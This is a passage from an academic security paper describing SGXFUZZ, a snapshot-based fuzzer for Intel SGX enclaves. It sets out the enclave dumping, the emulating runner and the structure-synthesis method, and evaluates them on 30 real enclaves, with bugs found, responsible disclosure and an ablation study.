crash reasons, thereby enabling our structure synthesis.

SGX Structure Fuzzer/Synthesis (cf. 5.3). The novel
fuzzing stage for structures uses the signals emitted during
the enclave’s execution to generate and adapt the layouts of
the structures. We detect missing fields and incrementally
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Figure 1: SGXFUZZ Architecture.

recover the expected layout of the input. In detail, whenever
the fuzzer finds a new input that causes a signal (SIGSEGV),
the fuzzer checks whether a struct mutation can resolve the
crash, i.e., it examines whether the enclave interprets part of
the payload as pointer. If this is the case, it alters the structure
layout for subsequent fuzzing runs, so that the enclave will
find a pointer/sub-buffer at that location. To further improve
the detection of bugs specific to SGX and the structure-based
fuzzing approach, the fuzzer also tests whether the execution
path diverts when the pointers of child buffers are within
special regions like the enclave’s memory.

5 SGXFUZZ Implementation

We now provide details of our prototype implementation of
SGXFUZZ. We first describe the enclave dumper, followed
by a description of the enclave runner. Finally, we discuss our
fuzzer extensions, implemented on top of the kAFL fuzzer [67]
and the Nyx snapshot-fuzzing engine [66].

5.1 Extracting Enclaves from Distribution
Formats

In the fuzzing process, we want to match the execution of
the original SGX hardware as closely as possible. Therefore,
we need a dump of the enclave’s memory to load it into our
fuzzing harness. However, most enclaves are not distributed
as raw memory dumps but packed into a container format like
ELF (.so) or PE (.dll). We develop different methods for
extracting the memory of enclaves precisely as the hardware
during initialization. In this process, we also collect all entry
points (TCS) and memory permissions within the enclaves to
recreate the exact application setup in our fuzzing harness.

SGX uses at runtime a continuous block of secure memory
(EPC) [20] that contains all sections needed to run the secure
application, most notably, the code section and sections for
the stack and the heap data. The Intel SGX SDK uses the
ELF/PE format to store enclaves and loading is modeled
after common application binaries. However, compared to the

default OS loader, there are some important differences for
loading enclaves: (1) Enclaves do not contain gaps, therefore,
the loader cannot use the default address ranges for, e.g., the
stack, (2) host applications (compiled using the Intel SGX
SDK) apply some patches during load time, e.g., to address
relocation sections, (3) the exact loading behavior may differ
depending on the host application, SDKs, or SDK versions,
because they are not technically bound to a standard.

First, we modify the driver module of SGX for Linux [44]
to dump every loaded enclave. This is a reliable way to extract
the exact memory that the hardware uses for initialization
and is independent of the distribution format of the enclave,
the host application, and any framework used. Since this
method requires SGX-capable hardware, we develop a second
approach to automate fuzzing of SGX enclaves in, e.g.,
Continuous Integration (CI) pipelines on non-capable server
hardware: The SGX SDK comes with a signing tool [42] that
calculates a hash over the enclave memory to create the signing
data. This hash requires the enclave to be unpacked, thus we
can dump the memory during this calculation. This is a fast
and hardware-independent method to dump the memory, but
is only applicable to the SDK’s enclave format and there is a
chance that the result contains erroneous bytes due to version
differences. However, it produces correct results when the SDK
versions match, and we have only seen issues when the enclave
was compiled using an SDK version several years older than the
dumper’s version. In that case, we could back-port the dumper
to the older SDK version to correctly dump these enclaves.

Dumping enclaves for Windows is hindered because the
driver and the signing tool are closed-source and cannot
be patched as easily. However, we implement automatic
extraction of Windows enclaves using a debugger and specific
breakpoints in the signing tool. Alternatively, we can enable
the debug mode of enclaves and extract the memory after
loading, which requires some manual work. Both methods are
rather slow and cumbersome, but they produce valid memory
dumps despite the tools being closed-source.
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5.2 Fuzzing Harness: Running Hardware
Enclave Binaries in Normal User-Space

Fuzzing SGX enclaves requires an introspectable environment
that can quickly execute ECALLs and return to the initial
state for the subsequent execution. These requirements make
fuzzing using SGX hardware impracticable for several reasons.
First, SGX enclaves are meant to be not introspectable. There
are approaches to collect coverage data using side chan-
nels [23], however, they are slow and yield far less information
than using debugging features. Further, we could execute
the enclaves in (hardware) debug mode and use the special
enclave debugging instructions to extract coverage data, but
the capabilities of these instructions to produce coverage data
are limited and comparably slow. Second, the protections of
SGX hinder the state reset that is required for efficient fuzzing.
SGX enclaves cannot be forked, so to run a second test case
using a real enclave, the secure memory has to be allocated
and initialized from scratch, including the enclave’s initial
measurement. Alternatively, it may be possible to reset the
state of an enclave using the debugging instructions. However,
the debugging instructions cannot reset whole pages, so a slow
loop would be needed to reset the whole enclave. In practice,
both approaches are too slow for fuzzing. Third, the secure
memory (EPC) is limited to less than 128 MB [26] on common
CPUs, which is the available memory for all enclaves and
imposes a hard limit on the number of enclaves that can be in
memory simultaneously. Therefore, a high performance CPU
will quickly surpass this limit when trying to create an enclave
for every core for efficient parallelized fuzz testing.

We develop an interrupt-based runtime that can run a
hardware-targeted enclave as a regular user-space application.
This enables a fuzzer to record code coverage feedback through
state-of-the-art greybox fuzzing techniques like Intel PT [52].
While Intel PT cannot record genuine enclaves, it is possible us-
ing our approach as we never actually switch to the secure con-
text, but instead execute all enclave code in normal user-space.

In detail, our runner executes SGX enclaves as follows:
At first, when the runner is started, it initializes a continuous
block of memory with the enclave’s memory in its own address
space and applies the memory permissions as recorded by
the dumper. Then it executes the SDK’s special initialization
ECALL as the normal enclave creation would do. Thereafter,
the runner reads the input from the fuzzer and allocates
memory for the input structure according to the serialized
layout specification. Thereby, every buffer is placed at the end
of a memory page to be followed directly by an inaccessible
guard page as depicted in Figure 2. This enables the fault
detection required by the structure synthesis (cf. Section 5.3.1).
When (nested) child pointers are present, those are allocated
analogously and the addresses are placed into the parent
buffers. Similar, the values for size fields are calculated and
inserted into the respective buffers. The remaining fields of the
structure are filled with the fuzzing payload. Then the runner

*guarded buffer

*input buffer guard page

*buffer guard page

size field = sizeof(buffer)

AB AB AA BB CC BC CC BA

AB AB AA BB CC BC CC BA
AB AB AA BB CC BC CC BA

AB AB AA BB CC BC CC BA
AB AB AA BB CC BC CC BA

AB AB AA BB CC BC CC BA

*guarded buffer
...

Figure 2: Allocation scheme of the fuzzing harness. Every
buffer is followed by a guard pages that enables to detect the
buffer sizes using fault signals.

ECALL()
{

    ...
    EREPORT
    ...
}

runner_main()
{
    setup()
    ecall(fuzz)
}

SIGILL_handler()
{
    EREPORT_mock()
    return
}

Enclave

Runner

Figure 3: SIGILL-handler to emulate special SGX instructions.

can execute a given ECALL by jumping to the entry point
defined in the TCS using the structure as argument.

Whenever the execution reaches an SGX instruction, a
SIGILL signal is emitted and handled by the runner to emulate
the SGX instruction. The runtime reads the encountered in-
struction, adjusts the register state accordingly (e.g., generate
fake keys or change memory permission), and resumes the
execution (Figure 3). When an EEXIT instruction is reached,
which also triggers the signal, the runner terminates.

When the runner receives a memory error (segmentation
fault), it uses Zydis [86] to disassemble the faulting instruction
and calculate the memory address that caused the error, which
is reported to the fuzzer for struct-synthesis (Section 5.3.1).

5.3 SGX Structure Fuzzer
We base our implementation of SGXFUZZ on the kAFL
fuzzer [67], which is a feedback-driven greybox fuzzer that
utilizes Intel Processor Trace (PT) [52] for coverage feedback.
In addition to the classic AFL mutation stages [82], this im-
plementation of kAFL features a radamsa [39] mutation stage
and the Redqueen [3] input mutator, which is considered as the
state-of-the-art solution to tackle common branch constraints.

The fuzzer collects coverage feedback from Intel PT in an
AFL-like bitmap using modified versions of QEMU/KVM to
execute the targets. In this setup, the targets are not emulated,
but run natively on our fuzzing hardware, which significantly
reduces the fuzzing overhead. The snapshot engine of Nyx [66]
initializes the targets in KVM and creates a snapshot of the
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complete state of the fuzzing target right before processing
the fuzzing input, which enables an efficient state reset.
The snapshot engine replaces the fork-server scheme that
is commonly used in AFL or AFL++ [29]. We choose Nyx
because it provides state-of-the-art fuzzing performance and
significantly outperforms [66] QEMU-based fuzzing.

5.3.1 Structure Synthesis

We develop a custom fuzzer stage that incrementally and dy-
namically synthesizes the layouts of input structures. It is based
on error signals and uses guard pages as depicted in Figure 2.
Structures are allocated in a way that every input is followed by
an inaccessible guard page,which ensures that the fuzzer is noti-
fied, when the enclave tries to access more data than provided—
beyond the end of a buffer. The fuzzer starts with an empty ini-
tial structure, that gradually evolves during the fuzzing towards
the expected complete input layout. Since layouts may depend
on the values within (e.g., type fields in union types), the fuzzer
tracks layouts tied to the input where it was found, so that di-
verse layouts may evolve for different inputs/paths in a target.

We will now describe the synthesis process in detail. The
structure synthesis is a stage of the fuzzing process like other
input mutation stages that every input traverses. When an
input and layout from a previous stage reached the structure
synthesis, it checks whether this input causes the target to exit
abnormally, with a SIGSEGV signal. In that case, the target
attempted to access an invalid memory reference, either due
to an incomplete structure or due to a bug.

Our structure synthesis then collects all necessary addresses
from the target and checks whether the faulting location is
within one of the guard pages. This is a strong signal that the
provided input buffer is too small. Therefore, the synthesis
stage increases the size of this buffer gradually as long as a
fault is reported within this guard page. Figure 4 shows these
faults and the influence on the structure. Usually, the final
length of the buffer cannot be deducted directly from the first
report because most enclaves use a linear copy function to
copy the buffer into secure memory, so that the error location
is always at the beginning of the guard page. Newly allocated
bytes of increased buffers are filled with random bytes.

As a second case, the fault may not be in a guard page, but
contained as a value in one of the input buffers. This indicates
that the target expected the value to be a pointer to another
buffer—and the synthesis extends the layout with a new buffer
to make this value a pointer (see Figure 4). The synthesis
also tolerates small offsets between the faulting address and
candidate values in the structure to identify cases where not
the first byte of the missing buffer is referenced but another
field. We chose 0x100 as a reasonable maximum offset that
will usually identify the correct value but is small enough to
not lead to significant false positives due to randomly similar
unrelated values. However, it might lead to incomplete struc-
tures for targets that read (only) a field, e.g., at offset 0x110

(cf. Section 6.3). Further, for newly added pointers, the size
of the corresponding buffer is still unknown. Therefore, it is
initialized with a size of zero and the fuzzer executes the target
again. The target will now find a pointer where it previously
found a non-pointer value. Accessing this pointer will still trig-
ger a fault, but this time it will be within the guard page of the
newly added pointer and it can be increased as described above.

5.3.2 Size Field Detection

Input structures often contain a field for the size of variable-
length buffers because dynamic length calculation on untrusted
data using functions like strlen is prone to introduce infor-
mation leakage [77]. Hence, the size should either be constant
or provided with the buffer until the data is copied to secure
memory. If the intention was to pass a NULL-terminated
string, the length should only be validated afterwards, using
the secure copy.

In the context of fuzzing, size fields that are included in the
buffer, are initially also filled with (random) fuzzing payload.
In most cases the resulting value is far from the actual buffer
size and input becomes cropped or is rejected early and the
fuzzer can hardly pass the copy functions at the beginning of
many ECALLs. To counteract this, we search for size fields
whenever the buffer layout is changed in the struct synthesis
stage. When this is successful and size fields are found, they
are marked in the struct layout and set to the size of the
corresponding buffer rather than filled with fuzzing input.

In particular, the size field detection is triggered, when the
target reports a fault in a guard page which cannot be fixed by a
small increment of the buffer. This indicates that the size of the
buffer is not limited by a (reasonably small) constant number,
but by other means like a large integer originating from random
bytes in the fuzzing input. To find the position of the size field
in the structure, the detection sequentially inserts the actual
size of the buffer at all offsets of the fuzzing payload. If at one
offset the fault is resolved (or a different unrelated fault), this
indicates that this value limited the memcpy causing the error.
Next, the offset is verified by executing the same test again, but
with the value of size+1,which is expected to produce the same
fault position as observed initially if the offset is indeed the
correct size-field of the buffer. An offset that passes both checks
is inserted into the struct layout and the subsequent fuzz testing
will use the (static) size of the buffer at this offset instead of
filling it with fuzzing input. While the relation of a dynamically-
sized buffer is ensured during the fuzz runs, it may still be too
small for the semantics of the enclave. However, enclaves
using size fields will just compare the size value and buffers
are not increased due to the guard-page method. We tackle
this in a later stage that tests whether different buffer size yield
additional coverage. The stage that we call Size Field Havoc
sequentially adjusts the size of buffers that are linked to a size
field to test if specific sizes yield unique coverage. We chose to
test sizes up to 256 bytes as this is a reasonable size for buffers
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pointer A to:
0000: 
0008: pointer B to:

    ...

    00a8: pointer C to:

    00b0: size field of 0xa8

    ...

    00f0: pointer D to:

        ...

    0000: 
    0008: 

    00a0: 

        0000: 
        0008: 

    00b8: 

    00e8: 

        0000: 
        0008: 

        0060: 
        0068: 

16

248

16

112

fault at A+8  → increase A

fault == *(B+a8)
fault at C+8

 → make C
 → increase C

test for size field  → make size field

fault == *(A+8)
fault at B+8
fault at B+16
...

→ make B
→ increase B
→ increase B
→ until 248

fault == *(B+f0)
fault at D+8
...

 → make D
 → increase D
 → until 112

Fuzzing time

Payload Byte

Figure 4: Struct Synthesis Events during fuzzing (left) and
the resulting changes to the nested pointer structure (right).

in the struct layouts and it is small enough that subsequent input
mutation stages have a fair chance to mutate impactful bytes.

5.4 Fuzzing Edge Cases and SGX-Specific
Extensions

In addition to the structure synthesis, we implement features
to tackle edge cases that hinder fuzzing of some enclaves and
add SGX-specific bug oracles.

ECALL Exploration. The ECALL interface specifies two
arguments, the index of the ECALL in the ECALL table and
the (pointer to the) argument structure. Since our fuzzing stages
only process the latter, and the index is not part of the structure,
the index is not mutated in these stages. Therefore, we initially
explore the ECALLs offered by the enclave and test each
ECALL ID from 0 to 255 whether it contributes new coverage,
i.e., is an existing ECALL number. This yields an initial
payload for every ECALL from which the structure recovery
can proceed. While it is supported that an enclave defines more
than 256 ECALLs, we have yet to see one that actually does.
In that case, we can easily increase the upper boundary.

Custom Initialization ECALL. During our evaluation, we
encountered three enclaves that define a custom initialization
call to set up a context, which is required to be called first.
Typically, every other ECALL checks if the initialization
has been called and immediately returns otherwise. Thus,
meaningful fuzzing is not possible without including the
initialization call. Our fuzzer supports to load and execute the
layout and payload of a specific ECALL during the setup of the
runner, before the kAFL/Nyx environment takes the snapshot
and the fuzzing loop starts. This way, the initialization ECALL
has zero overhead on the actual fuzzing runs, as it is only
executed once during the setup. This feature makes the Signal
enclaves fuzzable which require an initial constant call to init.
This feature can be seen as a lightweight variant of call chains
discussed in Section 7, which we consider future work.

Pointer Location Havoc. We implemented an SGX-specific
bug oracle that we call pointer location havoc to search for
bugs related to the confusion of memory regions within SGX
enclaves. Enclaves usually specifically check and only accept
pointers from the outside, i.e., non-SGX memory, using the
dedicated functionssgx_is_outside_enclave andsgx_is_
within_enclave. However, some enclaves also accept point-
ers within the range of the enclave—either because of an error
or to explicitly reuse a previously allocated reference. Since
this is a bad practice that often leads to vulnerabilities that com-
promise the enclave’s integrity [17], we develop this oracle to
find cases where the target accepts such dangerous pointers.
We iteratively alter the synthesized structure layout and substi-
tute the regular outside pointers with pointers from different re-
gions. Specifically,we test In-Enclave Pointers, pointers within
the range of the enclave’s secure memory, and Boundary Point-
ers, pointers to the boundary between user-space and enclave,
so that the last byte of the buffer is the first byte of the enclave.
Boundary pointers can uncover errors that incorrectly attribute
overlapping buffers to the secure memory region. Note that this
process only changes the addresses of the pointers, whereas
the content of the buffers stay the same. This does not violate
the threat model of an enclave that accepts in-enclave pointers
because an attacker can use a pointer to the secure copy of his
own input to get a content-controlled in-enclave buffer.

We additionally use inaccessible pointers in the respective
ranges to explicitly test whether an enclave actually uses these
kinds of pointers or just preliminary rejects them based on a
range check. For example, if a regular/outside pointer within
a structure is inaccessible, the enclave will segfault upon using
it. If the same fault is found for an inaccessible inside pointer,
the enclave used this pointer without check and is probably
vulnerable.

5.5 Post Processing
The novel structure recovery stage uses segmentation faults
to detect incomplete structure layouts. However, this overlaps
with the bug detection of the fuzzer that uses segmentation
faults as bug indicator. This introduces edge cases where the
fuzzing engine cannot clearly decide on-the-fly whether a crash
is attributed to the structure synthesis or to the crash-based
bug detection. These cases are stored in the fuzzing output.

We developed an automated post-fuzzing procedure in form
of a script that uses the final fuzzing output to correctly identify
miss-classified crashes that should have been originally
attributed to the structure synthesis.

i. NULL-pointer Dereference: When the reported fault
address is very small, there is a high probability that this is
caused by a NULL-pointer dereference bug. Thus, we do not
use addresses below 0x100 for struct recovery even if there
is a suitable candidate value in the payload. The fuzzer will
quickly find another test case with a larger value to trigger the
struct recovery. During the post-processing, we automatically
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filter small fault values where a matching small payload value
is present to identify real nullptr dereferences.
ii. Pointers in Payload: The fuzzer and especially the fuzzer’s
RedQueen extension can add valid pointers by chance at the
correct offset in the payload. However, since they are not part
of the generated layout, the contents behind these pointers
is arbitrary and not filled with fuzzing payload. These are
not reproducible and not meaningful to indicate bugs. The
post-analysis can easily identify those because the fuzzer will
also show a structure with this offset marked as a pointer.
iii. Large Pointer Offsets: Enclaves may access pointers using
an offset larger than 0x100, which currently is not used by
our fuzzer for sub-buffer identification. However, incomplete
structures due to this reason are rare, and our results show that
we can synthesize structs with high accuracy (Section 6.3). On
the other hand, increasing this value can cause false positives
in the structure synthesis.
iv. Size Fields Prior to Detection: When not-yet-detected size
fields are present in the structure, their values are determined
from the fuzzing payload. When additionally the targets
accesses this buffer non-linearly—e.g., it first accesses the last
byte (buffer+size)—the structure synthesis will receive a
fault at a (large) random offset and it cannot reasonably match
the fault to a buffer. This fault is then rejected by the struct
synthesis and generates an entry in the crash log. However,
due to the fuzzer’s speed and number of executions, it also
finds payloads that correctly trigger the synthesis and size field
detection. The post-analysis identifies these cases from the not
yet final structure that is logged with the crash.

Filtering these types of false positives reduces the total
amount of reported crashes from up to a few hundred to a
suitable amount for manual analysis (cf. Table 3). We manually
verified that all remaining crashes were caused by an actual
software fault in the target.

6 Evaluation

In this section, we evaluate the SGXFUZZ prototype to
validate our design choices. We first validate our choice
of fuzzing runtime showing that the native snapshot-based
fuzzing engine is superior to alternative emulation-based
engines. We then run SGXFUZZ on a large set of real-world
enclaves and evaluate the accuracy of the structure synthesis.
We further compare the scalability and the achieved coverage
of SGXFUZZ to TEEREX and show that our approach covers
more basic blocks, does not suffer from state explosion, and
reports no false positives.

Experimental Setup. We used two test benches for our
evaluation: One server with two Intel Xeon Gold 6230 and
196 GB RAM, and a second server with two Intel Xeon Gold
6230R and also 196 GB RAM. We fuzzed each target for 24 h
using 40 cores (resulting in 960 core-hours spent per target).
We used the same initial seed for all fuzzing runs.

Fuzzing Targets. Table 1 shows the targets that we used
for our fuzzing evaluation. We selected our enclaves from a
broad spectrum ranging from production enclaves to research
prototypes. Unfortunately, we could not include a password
manager with SGX capability. The two password managers
Dashlane and 1Password (before v7.0) advertise SGX on their
website, and 1Password even distributes binaries labeled with
SGX. However, we were not able to find any trace of actual
enclave usage in both cases.

Responsible Disclosure. We disclosed our findings in a coor-
dinated way to the authors and vendors of the tested enclaves.
We sent them detailed reports and helped them to fix the identi-
fied software faults. Synaptics assigned CVE-2021-3675, and
sgxwallet CVE-2021-36218 & CVE-2021-36219.

6.1 Results
In total, we found 79 vulnerabilities, of which three have been
assigned CVEs and a bug bounty of $13k was issued. Table 1
shows the number of manually verified unique vulnerabilities
for each fuzzing target and Table 2 shows the exact class of
each vulnerability accordingly. Additionally, Table 3 includes
coverage data and reports for SGXFUZZ and TEEREX, which
will be discussed in the following sections.

Notably, we did not encounter any false positives in our
evaluation of SGXFUZZ. We manually verified that each
report is caused by an actual bug, only some bugs occurred
duplicated, resulting in more reports than verified bugs.

Security Implications. Table 2 shows that a lot of vulner-
abilities are classified as either null-pointer dereferences or
uninitialized pointer usage. However, in the context of SGX
they are not less severe than, e.g., a memory corruption. In
the case of the Goodix Fingerprint Driver enclaves, we were
able to craft an arbitrary read exploit with a single null pointer
dereference. Unfortunately, the vendors of the Gingytech
Fingerprint Driver and the Goodix Fingerprint Driver enclaves
have no intention to fix the vulnerabilities even after providing
a fully functional proof-of-concept exploit.

6.2 Runtime Considerations
We develop the first binary-compatible runtime for hardware-
compiled SGX enclaves that does not require SGX hardware
support. OpenSGX [47], a QEMU-based environment for
SGX code, does not provide a suitable runtime for our fuzzing
targets because it cannot execute enclaves compiled for SGX
hardware, but requires a dedicated compiler and SDK setup.
Thus, OpenSGX cannot run binary-only enclaves due to
lacking binary compatibility. In addition, OpenSGX has been
deprecated since 2016 and cannot run real-world enclave
code.1 Nevertheless, to give a rough baseline, we measure the
execution speed of OpenSGX’ hello-world example, which

1https://github.com/sslab-gatech/opensgx/issues/50
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Enclave Version #ECALLs #Execs
#Covered

Basic Blocks #Bugs
Struct Accuracy

(source code)

BiORAM-SGX d86dab22dba12 15 6.8∗109 1802 0 Coverage Match
ELAN Fingerprint Driver 3.4.12210.10801 25 7.0∗109 675 0 closed-source
ELAN Fingerprint Biometric SSL 3.4.12210.10801 29 5.7∗109 2206 14 closed-source
Gingytech Fingerprint Driver 2.0.1712.0318 3 4.6∗109 4080 16 closed-source
Goodix Fingerprint Driver Coating Enclave 2.1.145.103 30 5.2∗109 1698 6 closed-source
Goodix Fingerprint Driver Glass Enclave 2.1.145.103 30 4.7∗109 1736 8 closed-source
Goodix Fingerprint Driver WBDI Enclave 2.1.145.103 31 6.2∗109 1404 14 closed-source
Intel AE Launch Enclave (LE) 2.13 2 6.0∗109 429 0 Perfect Match
Intel AE Provisioning Cert. Enc. (PCE) 2.13 2 9.8∗109 490 0 Perfect Match
Intel AE Provisioning Enclave (PVE) 2.13 2 4.1∗109 452 0 Perfect Match
Intel AE Quoting Enclave (QE) 2.13 2 5.9∗109 407 0 Coverage Match
Intel SDK Initialize ECALL 2.13 1 3.1∗109 257 0 Coverage Match
KubeTEE TFF 1c5ab9f5ca645 3 1.8∗109 3320 0 Perfect Match
Ledger BOLOS 573464ed78354 13 7.4∗109 1076 0 Coverage Match
lockbox 0c70a7d02c1b7 17 6.7∗109 3689 2 Coverage Match
MobileCoin 1.0.1 1 5.3∗109 11888 0 Coverage Match
Occlum Runtime Libos 0.22.0 7 7.1∗109 977 0 Coverage Match
OMEC Project’s C3P0 – Dealer 771c0c383c4d9 6 7.2∗109 226 1 Perfect Match
OMEC Project’s C3P0 – KMS 771c0c383c4d9 4 6.8∗109 1673 1 Perfect Match
Plinius 31a51ff3d2d90 7 4.8∗109 646 2 Coverage Match
SGX Darknet 0fe09ccb9aa62 4 6.1∗109 527 3 Coverage Match
sgxwallet 1.58.3 38 2.6∗109 3865 2 missed output buffer
Signal Contact Discovery 1.13 7 7.0∗109 560 0 Coverage Match
Signal Secure Value Recovery 1.0.20 7 5.9∗109 11989 0 Coverage Match
STANlite 16467c8034e84 3 2.6∗109 6621 4 Perfect Match
Synaptics Fingerprint Driver Enclave 5.2.3539.26 2 6.7∗109 1416 1 closed-source
Tensorflow Lite 5dc3b3d97844d 1 6.7∗109 492 0 Perfect Match
Town Crier 33471ff56cb75 33 3.2∗109 4748 5 Coverage Match
TresorSGX d2e529ea977fe 4 6.7∗109 622 0 Perfect Match
WolfSSL 099ec3b 22 7.5∗109 714 0 Perfect Match
n=30 Σ 171.2∗109 79

Table 1: Target enclaves and fuzzing runs by SGXFUZZ.

No. Enclave Type

1–3

Goodix Fingerprint Driver Enclaves
(WBDI, Coating, Glass)

Out-Of-Bounds Read
4, 5 Heap-Buffer-Overflow
6, 7 Free Uninitialized Pointer
8, 9 Memset Uninitialized Pointer
10–28 Null Pointer Deref.
29 sgxwallet Free Uninitialized Pointer
30 Out-Of-Bounds Write

31–46 Gingytech Fingerprint Driver Unchecked Input Addresses
Unchecked Callback Address

47–50 STANlite Null Pointer Deref.
Unchecked Input Addresses

51–62 ELAN Fingerprint Biometric SSL Null Pointer Deref.
63, 64 Use Uninitialized Pointer
65 Town Crier Null Pointer Deref.
66–69 Stack Overflow
70 Synaptics Fingerprint Driver Enclave Out-Of-Bounds Write
71 OMEC Project’s C3P0 – Dealer Null Pointer Deref.
72 OMEC Project’s C3P0 – KMS Null Pointer Deref.
73, 74 lockbox Null Pointer Deref.
75–77 SGX Darknet String Overflow
78, 79 Plinius Unchecked Input Addresses

Table 2: Bugs and Vulnerabilities found by SGXFUZZ.

achieves about 33 k/s executions. An equivalent hello-world
enclave in our runner achieves 200 k/s executions.

6.3 Structure Synthesis Accuracy

We now evaluate the accuracy of the struct layouts generated
through our structure synthesis. We assess the layout’s accu-
racy by comparing the synthesized layout with the expected
layout obtained from the source files of an enclave. Since
this method requires source code access, we conduct this
evaluation only on a subset of our fuzzing targets. However, we
manually verified that the structures for the binary-only targets
are reasonable. We refer to the structure from the source code
as reference struct.

While comparing the reference struct and our synthesized
layout, we compare each pointer’s offset and the amount of
allocated memory behind the pointers. If that memory again
contains a pointer, we continue this comparison recursively. In
addition, we also compare the location of size fields and which
buffer they belong to. If this relationship is not apparent through
the name in the source code, we read through the source code
to deduct the relationship from the code’s semantic.

The results of our evaluation are shown in Table 1. Ten out
of the 23 examined open-source enclaves match the expected
structure from the source code perfectly for every ECALL.
This means that all pointers are synthesized at the correct offset
with the exact amount of memory as the reference, and that
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all size fields were detected and reference the correct pointer.
There are also 12 cases of Coverage Match, which means

that only fields from the input structure were synthesized where
access to was covered during fuzzing. Thus, the synthesis did
not fully restore the input layout in these cases, but this is not
a limitation of our approach in any way because the pointers
were not used in the covered code paths, and it does not matter
to the program if they exist or not. As soon as they are used,
our synthesis will most likely provide them. The missing
coverage is caused by common fuzzing roadblocks, i.e., check
sums. Since our approach is conceptually not tied to a specific
fuzzer but theoretically works with any greybox fuzzer, it
would be possible to develop a payload mutator that handles
these roadblocks. However, we already use state-of-the-art
greybox fuzzing techniques like Redqueen [3] that aim to
tackle common fuzzing roadblocks.

Ultimately, our approach could recover all pointers and size
field on the assessed subset of samples except for one enclave
that needed minimal manual assistance (Section 6.3).

Maximum Fault Pointer Offset. During the implementation
in Section 5.3.1, we used the value 0x100 as the maximal
offset of the fault address to the corresponding value in the
input that was used as a pointer to determine the payload
position where a pointer is expected. As we chose this constant
arbitrarily, we now evaluate its impact.

The previous evaluation already shows that the struct
synthesis creates perfectly matching layouts for covered code,
including pointers with buffers larger than 0x100 bytes. The
synthesis of such large structs can only work if a field with
an offset lower than 0x100 is accessed first on any covered
code path. Then, after that pointer is synthesized, the sizes
can grow beyond 0x100 bytes. Since it is a typical pattern
for enclaves to copy buffers into the secure enclave memory
before accessing them, it is ensured that the fields of such large
buffers are accessed in ascending order, e.g., through memcpy.

There are cases in our logs of the sgxwallet enclave where
fault values have a difference between 0x100 and 0x1000 and
thus not triggered the struct synthesis. However, our synthesis
could ultimately detect these pointers through other code
paths showing that our synthesis even works in these cases. A
difference even larger than 0x1000—as unlikely as it would
be—would access memory beyond the guard page of our
allocation scheme and cannot be matched to a pointer in the
layout in a meaningful way.

Union Fields and Type Enums. Another point of concern
were union fields, where distinct data structures are used
based on a type field. We were only able to identify this
pattern in one closed source enclave (Synaptics Fingerprint
Driver Enclave), which hinders a detailed analysis. However,
SGXFUZZ synthesized slightly different structures based
on the (manually confirmed) type field, which shows that
SGXFUZZ is able to handle this case. Since the layouts are tied
to the fuzzer’s input mutation scheduler, the generated layouts

can branch together with the payloads for different code paths.
Thus, union fields pose in no way a limitation of our approach.

Case Study: Output buffer in sgxwallet. The sgxwallet en-
clave challenged our structure synthesis using large, constantly
sized output buffers. While the synthesis worked perfectly on
most fields of the buffer, it missed creating the output buffer
to the structure with a size of 1024 bytes. The manual analysis
quickly revealed that the struct synthesis rejected some faults
with the difference of 0x400, which is larger than its tolerance.
Those were caused when the target accessed this buffer at the
end of the ECALL to write its output back to the normal world.
Since the sizes are hard-coded and no other access is made to
this buffer, the fuzzer could not generate the final struct layout
in this case. For this case manual confirmation is needed, i.e.,
manually adding this buffer to the seeds of the fuzzer.

6.4 Feature Evaluation
SGXFUZZ includes several mechanisms to improve the
code coverage and its ability to find enclave-specific bugs
(cf. Section 5). In the following, we first demonstrate the
effectiveness of the Struct Recovery, Size Field Detection,
and Size Field Havoc by evaluating the coverage gained
through the individual features using an ablation study on four
enclaves. Thereafter, we demonstrate the effectiveness of the
pointer location havoc by showing that it successfully detects
vulnerabilities due to memory location in several enclaves.

6.4.1 Ablation Study

We conduct our ablation study with four configurations, as
each feature depends on the previous one. First, we perform
a fuzzing run without our Struct Recovery. We only use our
fuzzing setup and enclave dumping to make the enclaves
fuzzable. Then, we provide the enclave a single linear input
buffer for each enclave’s ECALL. There are no pointers or
identified size fields in the input. Next, we sequentially enable
our features, the Struct Recovery, Size Field Detection, and Size
Field Havoc in the subsequent runs with a total of four different
fuzzing campaigns per evaluated enclave. We measure the
achieved code coverage (unique covered basic blocks) and
compare them between the four configurations. Since we are
comparing different fuzzing campaigns that are nondetermin-
istic, we use five redundant fuzzing runs to reduce noise.

Figure 5 shows three distinct result patterns across four
enclaves. The base case of Signal Secure Value Recovery,
where none of our fuzzing features are active, has a median
of 495 uniquely covered basic blocks. In contrast, activating
our Struct Recovery increases the covered basic blocks by
12 times to 5,942 on average. However, the Struct Recovery
measurement has a high variance ranging from 4,047 to 7,712
because size fields are not yet detected and random fuzzing
input is used in size fields. Using the Size Field Detection,
these size fields get detected but will have a fixed value from
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Figure 5: Ablation Study showing the cumulative effect of the
different fuzzing features. (1) Flat Buffer, (2) Struct Recovery,
(3) Size Field Detection, and (4) Size Field Havoc.

the time of detection. This decreases the covered basic blocks,
as branches that depend on differently sized buffers are not
triggered. Lastly, the Size Field Havoc solves that problem
by mutating detected size values. This yields the highest of
all covered basics blocks (10,196) and reduces the variance
in the fuzzing process from 3,365 with Struct Recovery only
to 1,437 with Size Field Havoc.

Synaptics Fingerprint Driver Enclave shows essentially
the same pattern. Struct Recovery increases the covered basic
blocks by 6.1 times, but with a high variance of 900 basic
blocks between the lowest and highest run. Size Field Detec-
tion alone reduces the covered basic blocks, but in combination
with Size Field Havoc, it yields higher results on average. How-
ever, in the case of the Synaptics Fingerprint Driver Enclave,
the highest measurement of 1,631 basic blocks was done with
Struct Recovery only. This is to be expected with a sufficient
amount of repetitions, as has the chance to guess the size fields
lucky. Nonetheless, the ten times higher variance of Struct
Recovery compared to Size Field Havoc’s variance of 91 basic
blocks proves that the combination of all features provides
significantly more stable and reproducible fuzzing runs.

Signal Contact Discovery shows a different pattern. The
Struct Recovery still yields a major advantage over the base
case with a 2.6-fold increase of covered basic blocks. However,
the following configurations do not provide coverage gain
because only one ECALL uses a size field and—while the
Size Field Detection identifies it correctly—its usage depends
on global data, which SGXFUZZ currently cannot cover
(cf. Section 7).

Finally, the Gingytech Fingerprint Driver enclave shows the
third pattern, which consists of three steps, where the Struct
Recovery yields a 1.4-fold increase in covered basic blocks.
Then, the Size Field Detection increases the coverage again
by 1.4 to 4,297 basic blocks. However, the Size Field Havoc
only increases the coverage to 4,440 basic blocks, a 2.0-fold

increase compared to the base case. After reverse engineering
parts of the enclave’s code, we concluded that the enclave con-
tains several complex conditions. These complex conditions
considered several fields and from the payload, including size
fields, which a fuzzer has to guess correctly to flip the branch
condition. Since our Size Field Detection effectively removes
one of the fields from equations by fixing it to a buffer’s size,
the complexity that the fuzzer has to solve shrinks. Thus, it
